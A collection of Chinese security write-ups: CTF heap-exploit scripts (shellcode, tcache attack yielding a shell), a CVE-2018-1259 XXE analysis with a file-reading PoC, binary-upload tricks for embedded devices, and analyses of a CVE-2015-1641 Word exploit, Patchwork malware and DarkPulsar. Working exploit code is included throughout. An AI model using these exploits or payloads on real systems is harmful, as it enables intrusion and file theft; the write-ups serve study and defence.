temp -= state[i]
j = target_idx & 0xff
key_lis[i] = temp & 0xff
state[i],state[j] = state[j],state[i]
key = ''.join(hex(item)[2:].zfill(2) for item in key_lis)
print(key)
sla(p,"key (hex)> ",key)
#gdb.attach(p,'b* 0x0000555555554000+0x197c')
sla(p,"command> ","print")
#get more sc
sc = '\x90'*len(sc)+asm(shellcraft.amd64.linux.sh())
raw_input()
p.sendline(sc)
p.interactive()
exp()
## zer0ptsCTF 2020 diylist
### 程序逻辑
漏洞环境为`ubuntu 18.04/2.27`，没有开`PIE`，`Partial RELRO`，有`canary/NX`保护。
还是典型的菜单题，共有`add/get/edit/del`四个功能。
程序维护了一个伪链表，名为list，实际上并不是传统意义的链表。成员`size`表示目前链表中的`item`数量，`max`指链表所能容纳的最大`item`数量。
typedef struct {
int size;
int max;
Data *data;
} List;
List* list_new(void)
{
List *list;
list = (List*)malloc(sizeof(List));
list->size = 0;
list->max = 0;
list->data = NULL;
return list;
}
另一个成员`data`是联合类型的，其成员有`p_char/d_long/d_double`。我们`add/edit`等操作的直接对象就是这样一个`data`类型的变量。
`add`函数向`list`中添加一个成员，这里的链表是用`malloc`进行分配的，因此它存储在堆上。首先确定用户输入的类型，如果是`long/double/str`则调用`read_long/read_double/read_str`读取变量，返回值强制转换为`Data`类型传给`list_add`函数。
`list_add`检查当前的`size`是否达到了`max`上限，是的话就为`list->data`分配一块更大区域存储数据，并将之前数据悉数拷贝至新区域。
如果是`long/double`类型，则直接插入到后面，如果是`str`类型则调用`strdup`将输入拷贝到堆并将堆地址写入到`list->data[size]`。然后将这个堆地址存储在全局变量`fpool`里。
typedef union {
char *p_char;
long d_long;
double d_double;
} Data;
void add(List *list)
{
char buf[128];
printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);
switch(read_long()) {
case LIST_LONG:
printf("Data: ");
list_add(list, (Data)read_long(), LIST_LONG);
break;
case LIST_DOUBLE:
printf("Data: ");
list_add(list, (Data)read_double(), LIST_DOUBLE);
break;
case LIST_STRING:
printf("Data: ");
read_str(buf);
list_add(list, (Data)buf, LIST_STRING);
break;
default:
puts("Invalid option");
return;
}
}
/*
* Add an element
*/
void list_add(List* list, Data data, LIST_TYPE type)
{
Data *p;
if (list->size >= list->max) {
/* Re-allocate a chunk if the list is full */
Data *old = list->data;
list->max += CHUNK_SIZE;
list->data = (Data*)malloc(sizeof(Data) * list->max);
if (list->data == NULL)
__list_abort("Allocation error");
if (old != NULL) {
/* Copy and free the old chunk */
memcpy((char*)list->data, (char*)old, sizeof(Data) * (list->max - 1));
free(old);
}
}
/* Store new data */
switch(type) {
case LIST_LONG:
list->data[list->size].d_long = data.d_long;
break;
case LIST_DOUBLE:
list->data[list->size].d_double = data.d_double;
break;
case LIST_STRING:
list->data[list->size].p_char = strdup(data.p_char);
/* Insert the address to free pool
so that it'll be freed when the list is deleted */
if (fpool_num < MAX_FREEPOOL) {
fpool[fpool_num] = list->data[list->size].p_char;
fpool_num++;
}
break;
default:
__list_abort("Invalid type");
}
list->size++;
}
`get`函数输出指定`idx`的内容，这里注意如何输出取决于我们选择的类型，因为`union`成员的内存共享，因此对于同样一个`data`，我们选择`long`类型，就可以用`%ld`输出，如果我们选择`str`类型，就可以用`%s`输出，是一个`类型混淆`错误。
void get(List *list)
{
printf("Index: ");
long index = read_long();
printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);
switch(read_long()) {
case LIST_LONG:
printf("Data: %ld\n", list_get(list, index).d_long);
break;
case LIST_DOUBLE:
printf("Data: %lf\n", list_get(list, index).d_double);
break;
case LIST_STRING:
printf("Data: %s\n", list_get(list, index).p_char);
break;
default:
puts("Invalid option");
return;
}
}
/*
* Get an element
*/
Data list_get(List* list, int index)
{
if (index < 0 || list->size <= index)
__list_abort("Out of bounds error");
return (Data)list->data[index].p_char;
}
`edit`可以编辑`list->data[index]`。这里可以结合之前`类型混淆`的漏洞利用，比如我们想知道`addr`处的值，则可以先使用`edit`的`long`类型编辑`data为addr`，而后用`get`的`str`部分处理，从而泄露内存内容。
void edit(List *list)
{
char buf[128];
printf("Index: ");
long index = read_long();
printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);
switch(read_long()) {
case LIST_LONG: /* long */
printf("Data: ");
list_edit(list, index, (Data)read_long(), LIST_LONG);
break;
case LIST_DOUBLE: /* double */
printf("Data: ");
list_edit(list, index, (Data)read_double(), LIST_DOUBLE);
break;
case LIST_STRING: /* str */
printf("Data: ");
read_str(buf);
list_edit(list, index, (Data)buf, LIST_STRING);
break;
default:
puts("Invalid option");
return;
}
}
/*
* Edit an element
*/
void list_edit(List* list, int index, Data data, LIST_TYPE type)
{
if (index < 0 || list->size <= index)
__list_abort("Out of bounds error");
/* Store the data */
switch(type) {
case LIST_LONG:
list->data[index].d_long = data.d_long;
break;
case LIST_DOUBLE:
list->data[index].d_double = data.d_double;
break;
case LIST_STRING:
list->data[index].p_char = strdup(data.p_char);
/* Insert the address to free pool */
if (fpool_num < MAX_FREEPOOL) {
fpool[fpool_num] = list->data[list->size].p_char;
fpool_num++;
}
break;
default:
__list_abort("Invalid type");
}
}
`del`删除指定索引的`data`及`fpool`存储的堆块，删除方式是从要删除的data后面依次向前覆盖data数据。
之后根据`fpool[i] ==
data.p_char`去寻找fpool对应的堆块，注意这里`p_char`也可以是`long`类型得到的一个地址，因此结合上`edit`我们可以控制任意地址的释放，并且free之后并未清空fpool数据。
void del(List *list)
{
printf("Index: ");
long index = read_long();
list_del(list, index);
puts("Successfully removed");
}
/*
* Delete an element
*/
void list_del(List* list, int index)
{
int i;
if (index < 0 || list->size <= index)
__list_abort("Out of bounds error");
Data data = list->data[index];
/* Shift data list and remove the last one */
for(i = index; i < list->size - 1; i++) {
list->data[i] = list->data[i + 1];
}
list->data[i].d_long = 0;
list->size--;
/* Free data if it's in the pool list */
for(i = 0; i < fpool_num; i++) {
if (fpool[i] == data.p_char) {
free(data.p_char);
break;
}
}
}
### 漏洞利用
前面提到的`free`未清空`heap`地址，结合之前的`类型混淆`，可以触发`double
free`。因为没有开`PIE`，我们写入`puts@got`之后`get`泄露libc;写入`fpool_addr`再`get`可以泄露堆地址。之后我们通过编辑`long`类型，向list插入chunk0的地址，以使得list中有两个相同的堆地址。而`fpool`也存储了这个堆地址，我们连续删除这两个`idx`的`data`，就能造成`double
free`。
这样我们在ubuntu 18下可以拿`tcache
attack`覆写`__free_hook`为`system`并释放一个内容为`/bin/sh\x00`的堆来get shell。
### exp.py
这也是给了源代码的题目，题目用了一个未发行的`libc`，如果想本地调试的话，可以拿下面命令编译一个。
gcc -c diylist.c
gcc main.c -o main diylist.o
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./main')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./main')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
maps = {"long":"1","double":"2","str":"3"}
def Add(tp,data):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil("Type(long=1/double=2/str=3): ")
p.sendline(maps[tp])
p.recvuntil("Data: ")
p.send(data)
def Show(index,tp):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Type(long=1/double=2/str=3): ")
p.sendline(maps[tp])
def Edit(index,tp,data):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Type(long=1/double=2/str=3): ")
p.sendline(maps[tp])
p.recvuntil("Data: ")
p.send(data)
def Delete(index):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(index))
def exp():
#leak libc
Add("str","/bin/sh")#0
Add("str","/bin/sh")#1
puts_got = elf.got["puts"]
Edit(0,"long",str(puts_got))
Show(0,"str")
p.recvuntil("Data: ")
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - libc.sym['puts']
log.success("libc base => " + hex(libc_base))
#leak heap
bss_lis = 0x602100
Edit(0,"long",str(bss_lis))
Show(0,"str")
p.recvuntil("Data: ")
heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x2b0
log.success("heap base => " + hex(heap_base))
#recover
Edit(0,"long",str(heap_base+0x2b0))
Edit(1,"long",str(heap_base+0x2b0))
Delete(1)
Delete(0)
#gdb.attach(p,'b malloc')
Add("str",p64(libc_base+libc.sym['__free_hook']))
Add("str","/bin/sh\x00")
Add("str",p64(libc_base+libc.sym['system']))
Delete(0)
p.interactive()
exp()
## 总结
这两道题利用的漏洞原理都是`union`的变量内存共享，因为变量名的缘故做题的时候可能会自动代入到对应的类型而忽略了这个变量在作为其他类型处理时候可能会被赋值或读取，不过因为`union`用的比较少，一旦我们接触到这类漏洞之后，一旦题目中出现就容易引起警觉。此外在`IDA`的反汇编中其实并不会识别出`union`，对它来讲这只是一个变量而已，因此直接看`IDA`或许会更容易发现漏洞。 | 社区文章 |
# CVE-2018-1259
XXE with Spring Data’s XMLBeam integration
## 漏洞公告
> **Spring Data XXE 攻击**
>
> 危害等级：高
>
> 漏洞描述：
>
> XMLBeans 提供了底层XML数据的对象视图，同时还能访问原始的XML信息集合。 Spring Data Commons
> 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时，XMLBeam不会限制XML外部实体应用，导致未经身份验证的远程恶意用户可以针对Spring
> Data的请求绑定特定的参数，访问系统上的任意文件。
## 环境搭建
1. 下载官方的示例包，使用idea打开，然后等待相关插件和包的安装。
https://github.com/spring-projects/spring-data-examples/
https://github.com/spring-projects/spring-data-examples/tree/master/web/projection
2. 进入命令行，进入目录`web\projection`，输入`mvn clean package`生成package
> 这里需要把idea下面的maven路径写到环境变量path中
> \IntelliJ IDEA\plugins\maven\lib\maven3\bin
1. 进入jar包所在目录，输入命令
java -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar
2. 访问 <http://localhost:8080>
3. 使用burp抓包，POST过去poc查看输出
```
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 204
Cache-Control: max-age=0
Origin: <http://localhost:8080>
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,
_/_ ;q=0.8
Referer: <http://localhost:8080/users>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///e://1.txt" >]>
<user> <firstname>&xxe;</firstname> <lastname>melody</lastname> </user>
## 遇到的问题
1. 把文件夹导入idea之后，mvn package发现poc攻击不成功，感觉是不能输入xml的头部，报错提示：
```bash
Caused by: org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。
这个是相关包的版本问题，这里的漏洞复现需要`Spring Data Commons
1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用` ，这里idea默认加载的时候，`spring-data-commons`的版本是2.0.7，所以需要进行一点修改。
> ~~在窗口左边的`External Libraries`下面右键，选择`Open Library Settings`，找到`Maven:
> org.springframework.data:spring-data-commons:2.0.2.RELEASE2`把它旁边的
> 2.0.7/2.0.8/2.10.0 什么的全部删掉，只保留2.0.2的版本，然后重新生成包。~~保留2.0.6版本的进行调试风味更佳
>
>
在这里也可以看出高版本中防御xxe的方法：
禁用xml中的inline DOCTYPE 声明，说白了就是禁用DTD，不允许将外部实体包含在传入的 XML 文档中，从而防止XML实体注入（XML External Entities 攻击，利用能够在处理时动态构建文档的 XML 功能，注入外部实体）。
为了避免XXE injections，应为XML代理、解析器或读取器设置下面的属性：
factory.setFeature("http://xml.org/sax/features/external-general-entities",false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
如果根本不需要 inline DOCTYPE 声明，可直接使用以下属性将其完全禁用：
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
## 漏洞分析
**PS：这边使用的是2.0.2版本的commons不是2.0.6版本（因为我的maven search还没更新好=。=b）**
首先是spring-data-commons配合xmlbeam的洞，进入commons的代码，找到和xml有关的这个文件：`org\springframework\data\web\XmlBeamHttpMessageConverter.java`
关注调用XmlBeam的函数`XBProject`，line23：
public class XmlBeamHttpMessageConverter extends AbstractHttpMessageConverter<Object> {
private final XBProjector projectionFactory = new XBProjector(new Flags[0]);
private final Map<Class<?>, Boolean> supportedTypesCache = new ConcurrentReferenceHashMap();
进入`XBProject`，`/org/xmlbeam/XBProjector.java:169`
public XBProjector(XBProjector.Flags... optionalFlags) {
this(new DefaultXMLFactoriesConfig(), optionalFlags);
}
可以看到这里使用的是默认的配置，接下来会使用这个projectionFactory来读取输入流中的xml里面的信息，代码走到`org\springframework\data\web\XmlBeamHttpMessageConverter.java:47`：
protected Object readInternal(Class<? extends Object> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
return this.projectionFactory.io().stream(inputMessage.getBody()).read(clazz);
}
跟进read函数，`org/xmlbeam/io/StreamInput.java:31`
@Scope(DocScope.IO)
public <T> T read(Class<T> projectionInterface) throws IOException {
Document document = this.readDocument();
return this.projector.projectDOMNode(document, projectionInterface);
}
跟进readDocument函数，`org/xmlbeam/io/StreamInput.java:37`
private Document readDocument() throws IOException {
try {
DocumentBuilder documentBuilder = this.projector.config().createDocumentBuilder();
Document document = this.systemID == null ? documentBuilder.parse(this.is) : documentBuilder.parse(this.is, this.systemID);
return document;
} catch (SAXException var3) {
throw new RuntimeException(var3);
}
}
这里！终于！看到了createDocumentBuilder！
接下来跟进`org/xmlbeam/config/DefaultXMLFactoriesConfig.java`中的这两个函数，这两个函数就是构造DOM解析器的工厂实例，然后DOM
工厂获得 DOM 解析器的位置，在这里因为没有设置工厂的一些安全属性，即禁止外部实体的引用，导致输入中的inline
DOCTYPE的使用被采纳，外部实体被导入，导致xxe漏洞的发生。xmlbeam最新版本的补丁也是在这里patch的。
public DocumentBuilder createDocumentBuilder() {
try {
DocumentBuilder documentBuilder = this.createDocumentBuilderFactory().newDocumentBuilder();
return documentBuilder;
} catch (ParserConfigurationException var2) {
throw new RuntimeException(var2);
}
}
public DocumentBuilderFactory createDocumentBuilderFactory() {
DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance();
if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) {
instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy));
}
return instance;
}
图片展示的是我们写入的并被程序读到的document的内容。
## 补丁分析
### spring-data-commons的补丁
补丁地址：
<https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8>
`src/main/java/org/springframework/data/web/XmlBeamHttpMessageConverter.java`这边在传入XMLBeam的XBProjector时候做了新的配置：
可以看出关键的两句，给DOM 工厂设置参数，阻止了外部实体的引入，禁用inline DOCTYPE声明，防止了XML实体注入。
### xmlbeam的补丁
补丁地址：
<https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1>
补丁在`src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java`中添加了一个数组，里面是一些安全配置，然后通过循环，在`createDocumentBuilderFactory()`函数中，循环进行安全设置，其中前两条就是上面spring-data-commons使用的两条，具体见下面：
+ private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true", //
+ "http://xml.org/sax/features/external-general-entities#false", //
+ "http://xml.org/sax/features/external-parameter-entities#false", //
+ "http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };
### what's more
发现两个补丁里面都有写xxe的test ^_^
`src/test/java/org/springframework/data/web/XmlBeamHttpMessageConverterUnitTests.java`
就像直接给poc一样23333
## 影响版本和解决方案
漏洞的问题是，xml默认配置允许外部实体等可能导致xxe的非法输入，禁止外部实体和inline DOCTYPE的那两句设置两边（data-commons和xmlbeam）都没有加，如果调用的是xmlBeam1.4.15之前的版本自己加上配置也行，或者1.4.15之后xmlBeam都默认加了。
<https://blog.csdn.net/qq_32331073/article/details/79941132>
影响版本：
* Spring Data Commons 1.13-1.13.11 (Ingalls SR11)
* Spring Data REST 2.6-2.6.11 (Ingalls SR11)
* Spring Data Commons 2.0-2.0.6 (Kay SR6)
* Spring Data REST 3.0-3.0.6 (Kay SR6)
解决方案：
* Spring Data Commons 1.13.x的用户升级到1.13.12 (Ingalls SR12)
* Spring Data Commons 2.0.x的用户升级到2.0.7 (Kay)
* 升级XMLBeam版本到1.4.15
## 参考
* <https://github.com/iflody/myBugAnalyze/tree/master/2018/CVE-2018-1259>
* <https://pivotal.io/security/cve-2018-1259> | 社区文章 |
# 前言
在研究嵌入式设备的过程中经常需要向设备中上传二进制文件，这里总结一下上传文件的方法。
# ftpd服务
busybox上自带ftpd服务，无身份验证，可以进行文件传输操作。
ftpd可通过设定inetd.conf由inetd启动，或者是使用tcpsvd作为单独的守护进程。
ftpd使用参数：
Usage: ftpd [-wvS] [-t N] [-T N] [DIR]
-w 允许上传
-v 打印错误信息
-S 错误信息写入SYSLOG
-t 多长时间无操作算作空闲(默认2分钟, 2 * 60)
-T 多长时间空闲后自动断开与客户端的连接(默认1小时，1 * 60 * 60)
DIR FTP根目录
tcpsvd可以建立TCP Socket，并将其绑定到某个程序上，命令格式如下:
Usage: tcpsvd [选项] IP PORT PROG [PROG ARGS]
IP: 要监听的IP地址
PORT: 要监听的端口
PROG: 要绑定的程序
PROG ARGS: 绑定应用的参数
选项:
-l NAME, 本地主机名
-u USER[:GRP], 绑定后切换到USER/GROUP
-c N, 最大连接数
-C N[:MSG] 同一个IP的最大连接数（MSG为超过时的响应信息）
-v 打印详细输出
使用tcpsvd启动ftpd：
tcpsvd 0 21 ftpd -w /ftp_dir
或者配置/etc/inetd.conf：
21 stream tcp nowait root ftpd ftpd -w /ftp_dir
启动inetd服务：
/usr/sbin/inetd &
# busybox内置tftpd服务器
服务端配置：
mkdir /tftp_dir
cp /bin/busybox /tftp_dir
udpsvd -vE 0 69 tftpd -c /tftp_dir & #0表示对所有ip地址都进行侦听
客户端上传文件：
busybox tftp -l test.txt -r test.txt -p 192.168.1.100
客户端下载文件：
busybox tftp -l test.txt -r test.txt -g 192.168.1.100
# 利用python创建临时服务器
如果设备中安装了python的话就可以使用python脚本搭建一个临时服务器，供telnet访问：
import socket
import base64
port = 55555
filename = 'test.bin'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', port))
sock.listen(5)
while True:
connection,address = sock.accept()
try:
content = 'hello'
f = file(filename)
content = base64.b64encode(f.read())
connection.sendall(content.strip())
connection.close()
except socket.timeout:
print 'time out'
connection.close()
将二进制文件编码成文本文件，输出到telnet，再写入文件通过python解码成二进制文件：
telnet 127.0.0.1 55555 | tee > temp.txt
tail -n +4 temp.txt > temp2.txt
base64 -d < temp2.txt | tee > test.bin
**另外还有通过ssh服务来上传文件的方法，这里不赘述了**
# 利用openssl实现二进制文件上传
之前需要往一个只拿到了telnet权限但没有ftp、ssh服务的设备上上传二进制文件。而且设备上没有python，busybox也没有带其他的解码工具，无法通过上面利用python搭服务器的方法上传文件了。
这时候想到openssl似乎有Base64编/解码的功能，那么就可以利用openssl来进行base64解码从而实现二进制文件上传操作。
## 将需要上传的文件进行base64编码
import base64
fin = open("./hello", "rb")
fout = open("./base64.txt", "w")
data = fin.read()
base64_str = base64.encodestring(data).decode('ascii')
fout.write(base64_str.replace("\n", "").replace("\r", ""))
fin.close()
fout.close()
## 用openssl命令行做base64解码
用openssl命令行做base64解码需要每64个字符换行一次，整个编码后字符串末尾也要有换行。且一次最大只能传2000行左右，超过需要分几次上传。用脚本进行编码字符串整理：
f = open('./base64.txt', 'r')
result = list()
i = 64
size = len(f.read())
f.seek(0,0)
lines = 1
while i < size:
str1 = f.read(64)
#print(str1)
str2 = str1 + '\r'
print(str2)
result.append(str2)
i = i + 64
lines = lines + 1
if i > size:
str1 = f.read(size-i)
#print(str1)
str2 = str1 + '\r'
print(str2)
result.append(str2)
lines = lines + 1
#print(result)
#print(len(result))
l = 0
num = 1
while l < lines:
open('result' + str(num) + '.txt', 'w').write('%s' % '\n'.join(result[l:l+2000]))
num = num + 1
l = l + 2000
if l > lines:
open('result' + str(num) + '.txt', 'w').write('%s' % '\n'.join(result[l:]))
f.close()
传入编码字符串，用openssl进行解码并存入文件：
# echo "
> f0VMRgEBAQAAAAAAAAAAAAMACAABAAAAAAYAADQAAABMEwAABxAAcDQAIAAKACgA
> IgAhAAYAAAA0AAAANAAAADQAAABAAQAAQAEAAAUAAAAEAAAAAwAAAHQBAAB0AQAA
> dAEAAA0AAAANAAAABAAAAAEAAAADAABwqAEAAKgBAACoAQAAGAAAABgAAAAEAAAA
......
> " | openssl enc -base64 -d >> busybox_bak
## 通过python连接telnet传入文件
下面是用python实现上面手动传入编码字符串的脚本：
import getpass
import telnetlib
HOST = "192.168.1.100"
user = "admin"
password = "yourpasswd"
tn = telnetlib.Telnet(HOST)
tn.read_until(b"login: ")
tn.write(user.encode('ascii') + b"\n")
if password:
tn.read_until(b"Password: ")
tn.write(password.encode('ascii') + b"\n")
k = 13
filename = 'busybox'+ str(k) +'.txt'
f = open(filename, 'r')
tn.write(b"echo \"\n")
for i in range(0, 2000):
str1 = f.readline().encode('ascii')
tn.write(str1)
#tn.write(b"\n")
i = i + 1
tn.write(b"\"| openssl enc -base64 -d >> /ftp_dir/busybox_test\n")
tn.write(b"exit\n")
print(tn.read_all().decode('ascii')) | 社区文章 |
## 0x01 漏洞描述
* 漏洞成因：类型混淆漏洞。Word在处理`displacedByCustomXml`属性时未对`customXml`标签对象进行有效性验证，可以通过传入其他标签对象，由类型混淆进而达到任意内存写。故可以借由精心构造的标签对象及对应属性值实现RCE。
* 影响版本：Microsoft Word 2007 SP3, Office 2010 SP2, Word 2010 SP2, Word 2013 SP1, Word 2013 RT SP1, Word for Mac 2011, Office Compatibility Pack SP3, Word Automation Services on SharePoint Server 2010 SP2 & 2013 SP1, Office Web Apps Server 2010 SP2 & 2013 SP1
## 0x02 漏洞分析
样本信息及分析环境如下：
> MD5:A69F778D1F511268019B1080F5E3B98B
>
> OS版本：Windows 7 SP1(x86)
>
> Word版本：2007
>
> WWLIB.DLL版本：12.0.4518.1014
#### 0x02.1 类型混淆—>任意地址写
通过rtfobj查看该文档的OLE对象：
手动提取出来2号对象存为一RTF文档，Windbg附加Word 2007并打开该文档，崩溃点如下：
之后将0号与2号对象提取出来存为一RTF文档：
设断`bp wwlib!DllGetClassObject+0x50e6 ".if(ecx=7c38bd50){}.else{gc}"`：
待执行`call wwlib!DllGetClassObject+0x50fe`前查看栈中参数如下：
通过`rtfobj.py -s 2`将2号对象存为一Word文档，查看其`word`目录下`document.xml`：
可以看到smartTag标签属性值与栈中参数对应关系。
根据微软文档，`displacedByCustomXml`属性指定替换标签应为customXml：
继续跟进分析，计算写入地址：
计算公式为[[Parameter 1]+0x8]*[Parameter 2]+[[Parameter 1]+0xC]+[Parameter
1]，具体参数值见图5。直接步过该函数，可以看到其结果与公式结果无异：
跟进，查看其`memcpy`传递参数：
向0x7c38bd74地址处写入0xffffe696，该值用于第二次计算Dst Address。
重新设断`bp wwlib!DllGetClassObject+0x50e6
".if(ecx=7c38bd68){}.else{gc}"`，断下之后跟进到其计算Dst Address函数：
可以看到[[Parameter 1]+0xC]为之前写入值。第二次写入覆盖MSVCR71.DLL虚函数表中函数调用地址：
第三次写入：
该值用于第四次计算Dst Address：
第四次写入：
#### 0x02.2 劫持执行流
继续向下执行，崩溃点如下：
重新载入RTF文档，于0x7c376fc4处设断：
由上图可知第二次内存写入——覆盖MSVCR71.DLL虚函数表中函数调用地址，第四次内存写入——覆盖传递参数。
将1号对象加入后存为RTF文档，重新载入分析，`bp 0x7c376fc8`设断：
可以看到堆喷布局如上，该布局由1号对象`\word\activeX`目录中`activeX1.bin`完成：
根据其布局，不断执行`ret`，到`0x7c3651EB`处开始ROP链：
执行VirtualProtect以绕过DEP保护：
然后开始执行`activeX1.bin`内Shellcode部分：
#### 0x02.3 Shellcode of activeX1.bin
遍历当前进程中打开文件句柄，查找其Size符合如下条件的文件：
映射到内存中：
通过文件头与`FEFEFEFE FEFEFEFE FFFFFFFF`判断是否为样本文件及Shellcode起始位置：
复制Shellcode到VirtualAlloc开辟空间内，之后跳转到第二部分Shellcode执行。
#### 0x02.4 Shellcode of RTF
解密后续Shellcode：
由ANY.RUN可见其后续行为(有兴趣的读者请自行下载样本分析)：
#### 附
正常情况下，Word在解析customXml标签时会开辟一新空间：
而在解析smartTag时：
故借此可以控制目标写入地址。
## 0x03 Patchwork组织某利用样本分析
#### 0x03.1 RTF文档分析
> MD5：2C22EA1CED258346351EAD09B1DC6074
查看OLE对象：
0号对象用以加载OTKLOADR.DLL以引入MSVCR71.DLL绕过ASLR；
1号对象用以完成堆喷及Shellcode布局；
2号对象用以触发CVE-2015-1641漏洞，触发点位于`styles.xml`中：
载入RTF文档，`bp 0x7c376fc8`设断，执行ROP链后调用VirtualProtect更改内存属性，跳转到Shellcode：
通过`jmp`+`call`+`pop`给传参，解密后续Shellcode：
解密逻辑如下：
开辟内存空间，复制加密Shellcode并解密：
通过`call`指令为函数传递参数：
后续仍有数次解密Shellcode过程，不再一
一列出。于`C:\Users\xxx\AppData\Roaming\Microsoft\Templates`目录下创建文件：
写入文件内容：
之后于相同目录下创建`~$Normal.dat`并写入内容：
该文件具有隐藏属性：
于`HKEY_CURRENT_USER`下创建注册表项：
设置注册表键值：
删除注册表禁用项：
后续将由`wscript.exe`执行`C:\Users\xxx\AppData\Roaming\Microsoft\Templates\Normal.domx`，该文件实际为VBE格式：
可借由[scrdec18](https://gist.github.com/bcse/1834878)工具解密：
#### 0x03.2 Normal.domx分析
该文件本质为VBE格式，可由`wscript.exe`正常加载。分析时需通过工具解密出VBS脚本。
读取`~$Normal.dat`第一部分内容并解密，写入`%USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content.Word\PLAs_NEW_ORBAT.doc`：
该文档用于迷惑受害者：
之后释放三个PE文件并设置隐藏属性：
执行`MicroScMgmt.exe`并删除自身以及`~$Normal.dat`：
#### 0x03.3 MicroScMgmt.exe分析
查看导入表：
该文件为带有数字签名的白文件：
其用于加载恶意DLL——`jli.dll`。
#### 0x03.4 jli.dll分析
> MD5：051573B9173DE6886E0575F81778EA03
查看其导出函数：
该文件带有无效签名：
其与Patchwork组织之前使用过的BADNEWS木马存在相似性，此处暂不展开分析。完整攻击链如下：
## 0x04 参阅链接
* [CVE-2015-1641 Word 利用样本分析](https://paper.seebug.org/351/)
* [Microsoft Docs——displacedByCustomXml](https://docs.microsoft.com/en-us/previous-versions/office/developer/office-2010/cc847826\(v=office.14)?redirectedfrom=MSDN)
* [手把手教你如何构造office漏洞EXP（第四期）](https://www.anquanke.com/post/id/85031) | 社区文章 |
来源：<https://securelist.com/darkpulsar/88199/>
* * *
2017年3月，ShadowBrokers（影子经纪人，是2016年夏季出现的一个黑客组织，发布了包括美国国家安全局的黑客工具在内的数个漏洞）发布了一大堆被窃的数据，其中包括`DanderSpritz`和`FuzzBunch`两个框架。
DanderSpritz包含的插件可以收集情报、利用漏洞、检查受控的设备；是用Java语言编写的，并提供与僵尸管理面板类似的图形化接口；还有自己的后门和插件。
# DanderSprit接口
Fuzzbunch为不同工具提供了一个交互和协作的框架。其中含有不同类型的插件可以用于分析受害者、进行漏洞利用、计划任务等。FuzzBunch框架设置中含有三个文件，分别是：
%pluginName%-version.fb
这是框架的实用文件，从XML中复制了header，并包含插件的ID。
%pluginName%-version.exe
当FuZZbuNch接受到命令后，可执行文件就会启动。
%pluginName%-version.xml
配置文件描述了插件的输入和输出参数，包括参数名、类型和作用描述，这些都以弹窗的形式出现在FuzzBunch中。文件对框架使用性也有一定帮助，因为其支持默认对参数的说明。
FuzzBunch分类中含有ImplantConfig，包含通过植入来控制受害者机器的插件。DarkPulsar就是控制被动后门sipauth32.tsp的管理模块，sipauth32.tsp是负责提供远程控制的。并且支持以下命令：
* Burn
* RawShellcode
* EDFStagedUpload
* DisableSecurity
* EnableSecurity
* UpgradeImplant
* PingPong
Burn, RawShellcode, UpgradeImplant, PingPong
可以移除植入，运行任意代码、升级植入，并检查远程机器上是否安装有后门。其他命令的作用并不很清楚，泄露的框架只含有一个管理模块来与DarkPulsar后门进行协作。
在分析管理模块时，研究任意发现了多个用于加密C2与植入之间流量的常数：
研究人员认为这些常数应该出现在后门中，因此研究人员对这些常数进行了检测。几个月后研究人员发现了DarkPulsar后门，之后还发现了32位和64位版本。
研究人员发现了大概50个受害者，分别位于俄罗斯、伊朗和埃及，主要感染的是Windows 2003/2008
